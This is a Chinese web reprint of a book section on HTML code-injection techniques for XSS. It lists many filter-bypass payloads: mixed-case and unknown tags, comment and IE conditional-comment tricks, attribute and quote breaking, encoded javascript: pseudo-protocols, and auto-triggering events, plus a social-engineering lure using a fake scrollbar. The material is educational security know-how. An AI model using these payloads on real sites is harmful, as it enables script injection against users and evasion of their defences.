频道栏目
读书频道 > 安全 > Web前端黑客技术揭秘
6.7.3 HTML中的代码注入技巧
2013-01-23 13:43:52     我来说两句
收藏   我要投稿

本文所属图书 > Web前端黑客技术揭秘

Web 前端的黑客攻防技术是一门非常新颖且有趣的黑客技术,主要包含Web 前端安全的跨站脚本(XSS)、跨站请求伪造(CSRF)、界面操作劫持这三大类,涉及的知识点涵盖信任与信任关系、Cookie安全、Flash 安全、...  立即去当当网订购

编写过HTML代码的人或许知道,完整的HTML代码分为:标签名、属性名、属性值、文本、注释。其中,属性可以是JavaScript事件、资源链接或data对象。当HTML Filter做过滤时,同样是从这些维度出发的,对这些位置可能出现的XSS形式进行过滤,而我们要做的就是使这种过滤手段失效,将我们的代码插入到想要执行的地方。下面来看看我们可以对它们做什么样的绕过方式。

1.标签

由于HTML语言的松散性和各标签的不同优先级,使得我们可以创造出很多代码混淆或绕过方式。如HTML标签是不区分大小写的,我们可以全部小写:
<script></script>

也可以全部大写或者大小写混合:
<SCRIPT></ScRiPt>

这对代码的运行没有丝毫的影响,但是这样会阻碍过滤器对关键词的识别。另外,由于现代浏览器对XHTML的支持,使得我们可以在某些浏览器的某些版本中插入XML代码、SVG代码或未知标签。

如在IE 6下可以构造如下代码:
<XSS STYLE="xss:expression(alert('XSS'))">

如果对方站点的HTML过滤器是基于黑名单的,很明显,<XSS>标签不在名单之列,使得插入的代码得以被绕过。我们可以通过fuzzing的方式确认究竟哪些标签可用,哪些标签不可用。通常情况下,黑名单的过滤器总会留下漏网之鱼,当然,这类标签都是不常用的标签,例如,以下几个就比较少见:
<isindex PROMPT="click picture" action="javascript:alert(1)" src="http:// www.baidu.com/img/baidu_logo.gif" style="width:290;height:171" type="image">
<BGSOUND SRC="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

另外,也可以尝试分析出过滤器的缺陷进行针对性的绕过,例如,对方的过滤器判断标签的方法为:
/<([^>]+)>.*?<\/([^>]+)>/

那么当我们构造代码为:
<<SCRIPT>alert("XSS");//<</SCRIPT>

就不会被匹配到,当然,真实的过滤器逻辑会比这个复杂许多,我们可能需要相当长的模糊测试才能够分析出它的大概过滤流程,并构造独特的代码混淆方式。

另外,有些过滤器的HTML Parser很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*-->,但注释可以这样写:bbb<!-- aaa <!--aaa-->  ccc-->bbb,这样,“ccc”代码就暴露出来可以执行了。

而与之相反,有些HTML Parser不关心是否有注释,只关心HTML标签、属性、属性值是否有问题,如标签是否是<script>,属性是否是JavaScript事件,属性值是否是伪协议等。但是由于注释优先级较高,我们可以构造以下一段代码:
<!--<a href="--><img src=x onerror=alert(1)//">test</a>

扫描器忽略了HTML注释后,会认为下面这段是一个完整的HTML语句:
<a href="--><img src=x onerror=alert(1)//">test</a>

那么下面这段就被认为是属性href的值:
"--><img src=x onerror=alert(1)//"

从而对这段代码进行放行。但实际上对浏览器来说,<!--<a href="-->是注释内容,<img src=x onerror=alert(1)//">则是一个完整的img标签,而onerror则成了一个独立的事件属性得以执行。

另外还有一种特殊的注释:IE HTML条件控制语句,代码样式如下:
<!--[if IE]>所有的IE可识别<![endif]-->
<!--[if IE 6]>仅IE6可识别<![endif]-->
<!--[if lt IE 6]> IE6以及IE6以下版本可识别<![endif]-->
<!--[if gte IE 6]> IE6以及IE6以上版本可识别<![endif]-->

这是IE所独有的,在其他浏览器看来与普通注释无异,但是在IE看来却是可根据条件执行的,这给我们绕过过滤器创造了可乘之机。另外,如下两种条件语句也是可以在IE下被解析执行的:
<!--[if]><script>alert(1)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->

在HTML语法中有标签优先级的概念,有些标签如<textarea>、<title>、<style>、<script>、<xmp>等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签的属性:
<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">

如上代码在不分优先级的过滤器看来是一个<title>或<style>标签,后面跟了一个<a>标签,那么如果标签和属性都是合法属性,代码就会被放行,但是在浏览器看来则是一对<title>或<style>标签和一个<img>标签,因为<img>拥有一个自动执行的onerror事件属性,使得我们放在事件中的代码得以执行。从这点看,我们可以认为HTML注释本身是一个高优先级的标签。如果过滤器将如上标签也过滤了,那么我们也可以尝试以下这些方式:
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">

这些都是前人模糊测试的结果,前三种可在Firefox和Webkit浏览器中执行,第四种可以在IE中执行。如果过滤器是基于黑名单过滤的,那么有可能会忽略这些。

2.属性

与标签相似,HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以用单引号,甚至不用引号在HTML语法上也是正确的。而且在IE下面还可以用反引号`来包括属性值,形式分别如下:

<img src="#">(双引号)

<img SRC='#'>(属性名大写、属性值单引号)

<img sRC=# >(属性名大小混合写,属性值不用引号)

<img src=‛#‛>(属性值要用反引号包括)

此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))或者tab(chr(9))等,并且个数不受限制,如:
<img          
            src         
              =x
            onerror=
            "alert(1)">

这样的混淆方法是可以在各大浏览器上执行的。另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即ASCII值为1~32这32个控制字符,不同的浏览器都有各自的处理方式,如下语句:
<a &#8 href="&#32javascript:alert(1)">test</a>

是可以在IE、Firefox、Chrome下执行的,但语句:
<a &#8 href="&#32javascript:alert(1)&#27">test</a>

就仅可以在IE和Firefox下执行。因此,在使用控制字符时,要有一个预期,期望自己的代码能在哪些浏览器上运行,甚至是哪些浏览器的哪些特定版本上运行。

以上手段在我们绕过富文本过滤器时是非常有用的。对方站点一般允许我们直接输入HTML语句的位置多是发表文章、留言、回帖等文本框位置,这也通常是存储型XSS存在的地方。
当利用反射型XSS漏洞时,有时输出的变量会出现在HTML文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件属性来执行插入的脚本。

HTML属性按用途分,大致可以分普通属性、事件属性、资源属性几种。对于普通属性,如果我们可控制的变量是属性值,那么我们所能做的就只能是突破当前属性,尝试去构造新属性或者构造新标签。若属性值没有用引号,如:
<font color=<?=$_GET['url']?> />

那么我们利用起来就非常简单,使用?url=x%20onerror=alert(1)就可以使代码执行了,将变量合到代码中的形式为:
<font color=x onerror=alert(1) />

如果属性值是被引号包括的:
<font color="<?=$_GET['url']?>" />

那么就只能看看能否构造自己的引号将已有的属性闭合:
?url=x"%20onerror=alert(1) //

将变量合到代码中的形式为:
<font color="x" onerror=alert(1) //" />

但如果对方此时连引号也过滤掉了,或者做了HTMLEncode转义,那么既没有XSS安全隐患,也没有可以利用的方式。不过这里目前至少有两个特例:
<img src="x` `<script>alert(1)</script>"` `>(IE 6)
<img src= alt=" onerror=alert(1)//">(IE、Firefox、Chrome、Opera等)

两段代码中的可执行部分虽然看起来都在属性值中,但代码的确可以运行,这也是广大跨站师模糊测试的结果。

若我们所能控制的是事件属性,除了像上文所说突破当前属性外,最直接的手段就是直接插入我们的代码等待用户来触发:
<a href="#" onclick="do_some_func(\"<?=$_GET['a']?>\")">test</a>

例如,对如上代码构造参数为:?a=x');alert(1);//或者?a=',alert(1),',那么插入代码后的形式为:
<a href="#" onclick="do_some_func('x');alert(1);//')">test</a>
<a href="#" onclick="do_some_func(",alert(1),")">test</a>

第一段代码将之前的函数闭合,然后构造自己的新代码。第二段代码利用了一个函数可以在另外一个函数中执行的特性,也就是JavaScript中所谓的匿名函数。如果语句是一句话,可以直接写,如果是多句,则需要定义一个匿名方法,语句如下:
<a href="#" onclick="do_some_func('',function(){alert(1); alert(2);} ,'')">test</a>

另外,关于如何将多个语句合并成一个语句,我们在浏览器的进制常识中已经学到,就是编码。例如,alert(1);alert(2);的十六进制编码如下:
\x61\x6c\x65\x72\x74\x28\x31\x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b

那么就可以构造:
<a href="#" onclick="do_some_func('',eval('\x61\x6c\x65\x72\x74\x28\x31\ x29\x3b\x61\x6c\x65\x72\x74\x28\x32\x29\x3b') ,'')">test</a>

还有一个常识对我们来说非常重要,HTML中通过属性定义的事件在执行时会做HTMLDecode编码,这意味着即便我们的代码被转义成如下形式:
<a href="#" onclick="do_some_func('&#039;,alert(1),&#039;')">test</a>

这段代码依旧是可以执行的。被引入变量只有先进行JSEncode编码,再做HTMLEncode编码,才能彻底防御。

对于资源类属性,我们可以理解为属性值需要为URL的属性,通常,属性名都为src或href。这类属性一般都支持浏览器的预定义协议,包括:http:、ftp:、file:、https:、javascript:、vbscript:、mailto:、data:等。在这些协议中,有些协议是网络交互协议,用来和远程服务器传输数据时统一格式,如http:、https:、ftp:等;有些是本地协议,用来调用本地程序执行一些命令,我们一般称后者这种本地协议为伪协议,如javascript:、vbscript:、mailto:、data:等。由于伪协议可以调用本地程序执行命令这一特点,使得它成为我们在XSS中利用的对象。

常见的支持资源属性的HTML标签如下(包括但不限于以下这些):
APPLET, EMBED, FRAME, IFRAME, IMG,
INPUT type=image,
XML, A, LINK, AREA,
TABLE\TR\TD\TH的BACKGROUND属性,
BGSOUND, AUDIO, VIDEO, OBJECT, META refresh,SCRIPT, BASE, SOURCE

一个伪协议的声明形式为:协议名:数据,示例如下:
<a href="javascript:alert(1)">test</a>

其中,“javascript”为协议名,冒号“:”作为协议名和数据的分隔符,后面的全部是数据部分。在最初的浏览器定义中,凡是支持输入链接的地方都是支持伪协议的,也就是所谓的IE 6年代。不过现在由于XSS的猖獗,很多浏览器已经把一些被动的(不需要用户交互,可直接随页面加载触发的)资源类链接的伪协议支持屏蔽掉了,比如:
<img src="javascript:alert(1)">

也有一些没有屏蔽,比如:
<iframe src="javascript:alert(1)">

由于IE 6浏览器在国内的市场份额依旧比较高,即便新版本的浏览器中不能够执行代码,覆盖到IE 6的用户对我们的攻击来说也是一次比较成功的XSS运用。

目前在XSS中常用的伪协议有三个:javascript:、vbscript:(协议名也可以简写为vbs:)和data:,前两者分别可以执行JavaScript脚本和VBScript脚本。但是由于VBScript是微软所独有的,所以仅能在IE下执行,其他浏览器都不支持,而IE还不支持data协议。

同HTML标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相仿,数据也可以做自动的HTMLDecode解码以及进制解码,所以我们可以有多种利用方法:
<iframe src="jAvAsCRipt:alert('xss')">
<iframe src="javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;(&quot;&#88&#83&#83&quot;)">
<IFRAME SRC=javascript:alert(String.fromCharCode(88,83,83))>

这个特性的增加给过滤器进行代码过滤增加了较大的难度。在XSS发展的初期,当然也是HTML过滤器的发展初期,有些过滤器在实施XSS代码过滤时采取了一种比较鲁莽暴力的黑名单方式。如要过滤“javascript”关键词,那么不管我们提交的数据中的任何位置出现了这个字符,都会被直接替换掉,虽然表面看来似乎有种“宁可错杀一千,也绝不放过一个的派头”。但实际上也只是纸老虎,只能吓唬那些弱小者,稍微有些经验的人使用一点小伎俩就将过滤器绕过了。如采用“javajavascriptscript”这种方式先让过滤器过滤掉一个“javascript”,那么两边的字符合到一起依旧是一个完整的“javascript”字符串。
另外有几个不常用的属性也支持伪协议:
<img dynsrc="javascript:alert('xss')">(IE6)
<img lowsrc="javascript:alert('xss')">(IE6)
<isindex action=javascript:alert(1) type=image>

有时在过滤器仅过滤了src和href中的伪协议时,我们可以用这种属性绕过。还有一些常用标签的不常见属性:
<input type="image" src="javascript:alert('xss');">

很少有人用到input的type="image"这个属性,这也将成为我们绕过过滤器的突破点。

3.HTML事件

另一种特殊的HTML属性是事件属性,一般以on开头,如onclick、onmouseover之类。当然,它继承了普通的HTML属性的所有特点:大小写不敏感、引号不敏感等。目前,浏览器通常支持的一些事件如表6-3所示。

表6-3  HTML事件


鼠标事件
Onclick 鼠标单击时触发
Ondblclick 鼠标双击时触发
Onmousedown 按下鼠标时触发
Onmouseup 鼠标按下后松开时触发
Onmouseover 当鼠标移动到某对象范围的上方时触发
Onmousemove 鼠标移动时触发
Onmouseout 当鼠标离开某对象范围时触发
Onmouseenter 当用户将鼠标指针移动到对象内时触发
Onmouseleave 当用户将鼠标指针移出对象边界时触发
onmousewheel 当鼠标滚轮按钮旋转时触发
键盘事件
Onkeypress 当键盘上某个键被按下并且释放时触发
Onkeydown 当键盘上某个按键被按下时触发
Onkeyup 当键盘上某个按键被放开时触发
页面相关事件
Onabort 图片在下载过程中被用户中断时触发
onbeforeunload 当前页面的内容将要被改变时触发
Onerror 请求出现错误时触发
Onload 页面内容加载完成时触发
 续表 

 

Onmove 浏览器的窗口被移动时触发
onmoveend 当对象停止移动时触发
onmovestart 当对象开始移动时触发
onresize 当浏览器的窗口大小被改变时触发
onresizeend 当用户更改完控件选中区中对象的尺寸时触发
onresizestart 当用户开始更改控件选中区中对象的尺寸时触发
Onscroll 浏览器的滚动条位置发生变化时触发
Onstop 浏览器的停止按钮被按下时或者正在下载的文件被中断时触发
onunload 当前页面将被改变时触发(退出、转向或关闭当前页面)
表单及其元素相关事件
Onblur 当前元素失去焦点时触发
onchange 当前元素失去焦点并且元素的内容发生改变时触发
Onfocus 当前元素获得焦点时触发
onfocusin 当元素将要被设置为焦点之前触发
onfocusout 在移动焦点到其他元素之后,在之前拥有焦点的元素上触发
Onreset 当表单中RESET的属性被激发时触发
onsubmit 当表单被提交时触发
滚动字幕事件(Marquee)
onbounce 在Marquee内的内容移动至Marquee显示范围之外时触发
Onfinish 当Marquee元素完成需要显示的内容后触发
Onstart 当Marquee元素开始显示内容时触发
内容编辑事件
onbeforecopy 当页面中被选择的内容将要复制到浏览者系统的剪贴板前触发
onbeforecut 当页面中被选择的内容将要剪切到浏览者系统的剪贴板前触发
onbeforeeditfocus 当前元素将要进入编辑状态时触发
onbeforepaste 当内容将要从浏览者的系统剪贴板传送或粘贴到页面中时触发
oncontextmenu 当浏览者通过鼠标右键或键盘弹出右键菜单时触发
Oncopy 当页面中当前被选择的内容被复制后触发
Oncut 当页面中当前被选择的内容被剪切时触发
Ondrag 当某个对象被拖动时触发
ondragdrop 一个外部对象被鼠标拖进当前窗口或者帧时触发
ondragend 当鼠标拖动结束时触发,即鼠标的按钮被释放了
ondragenter 当对象被鼠标拖动的对象进入其容器范围内时触发
ondragleave 当对象被鼠标拖动的对象离开其容器范围内时触发
 续表 
ondragover 当某个被拖动的对象在另一对象容器范围内拖动时触发
ondragstart 当某对象将被拖动时触发
Ondrop 在一个拖动过程中,释放鼠标时触发
onlosecapture 当元素失去鼠标移动所形成的选择焦点时触发
onpaste 当内容被粘贴时触发
onselect 当文本内容被选择时触发
onselectstart 当文本内容选择将开始发生时触发
onselectionchange 当文档的选中状态改变时触发
数据绑定
onafterupdate 当数据完成由数据源到对象的传送时触发
onbeforeupdate 当一个被数据绑定的元素数据被更新之前触发
oncellchange 当数据来源发生变化时触发
ondataavailable 当数据接收完成时触发
ondatasetchanged 数据在数据源发生变化时触发
ondatasetcomplete 当来自数据源的全部有效数据读取完毕时触发
onerrorupdate 当数据更新出错时触发
onrowenter 当前数据源的数据发生变化并且有新的有效数据时触发
onrowexit 当前数据源的数据将要发生变化时触发
onrowsdelete 当前数据记录将被删除时触发
onrowsinserted 当前数据源将要插入新数据记录时触发
外部事件
onafterprint 当文档被打印后触发
onbeforeprint 当文档即将被打印时触发
onlayoutcomplete 当打印或打印预览版面处理完成用来自源文档的内容填充当前 LayoutRect 对象时触发
onfilterchange 当某个对象的滤镜效果发生变化时触发
Onhelp 当浏览者按下F1键或者浏览器的帮助选择时触发
onpropertychange 当对象的属性之一发生变化时触发
onreadystatechange 当对象的初始化属性值发生变化时触发
其他事件
onactivate 当对象设置为活动元素时触发
onbeforeactivate 对象要被设置为当前元素前立即触发
onbeforedeactivate 在 activeElement 从当前对象变为父文档其他对象之前触发
oncontrolselect 当用户将要对该对象制作一个控件选中区时触发
ondeactivate 当 activeElement 从当前对象变为父文档其他对象时触发
 如果我们想知道对方的过滤器过滤了哪些事件属性,最简单的方式是用fuzzing机制,使用<div on****="aaa">1</div>的形式将所有的事件都生成出来,然后试探目标站点都过滤了哪些。当然,你也可以直接使用onabcd这样的假事件属性构造这样一个语句:<div onabcd="aaa">1</div>,如果连这样的事件都过滤了,说明对方的过滤器可能使用了白名单,或者是把所有以on开头的属性全部过滤掉了。

有些事件的触发条件相对来说比较复杂,甚至需要其他因素,如数据绑定事件只能在IE浏览器下被支持,并且还需要有XML数据的支持:
<xml id=EmpDSO onCellChange="alert(/onCellChange/)">
<Employees>
<Employee>
<EmpID>E001</EmpID>
</Employee>
</Employees>
</xml>
<INPUT datasrc=#EmpDSO datafld="EmpID" Id="EmpID" Name="EmpId" onbeforeupdate= "alert(/onbeforeupdate/)"
onafterupdate="alert(/onafterupdate/)">

当文本框中的数据发生改变后,会依次触发onbeforeupdate、oncellchange、onafterupdate这三个事件。

有些事件的触发则需要给用户一些诱导因素,如ondrag事件需要用户拖动才能触发,但拖动并不是用户的常用动作,此时可以人为设计一个要素,要求用户参与时需要拖动,如图6-11所示。

我们插入图6-11这样的图片,这幅图片看起来像是一个iframe,用户会误以为滚动条是真的,于是向下拖动假的滚动条,然后触发了拖动事件。


 

另外,有时XSS点被限制在了固定的标签里,而恰巧标签本身没有主动执行的事件,如<input>标签,只能通过onchange、onclick、onmouseover这类需要用户交互的事件才能触发。这使得我们的XSS攻击成功率变得很小,我们需要采取一些手段来提高XSS攻击的成功率,可以使用样式将目标标签变得很大,使得我们的事件很容易被触发:
<input type="text" value="1" style="width:100%;height:1000px;position: absolute:top:0px;left:0px" onmouseover="alert(1)">

或者尝试利用某些属性或者通过一些组合的方式使事件得以自动执行:
<input onfocus="alert(1)" autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br> <input autofocus>
<input type=image src=http://www.2cto.com/uploadfile/2013/0123/20130123014647808.gif onreadystatechange=alert(1)>

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:6.7.2 浏览器的编码常识
下一篇:6.7.4 CSS中的代码注入技巧
相关文章
图文推荐
排行
热门
最新书评
特别推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站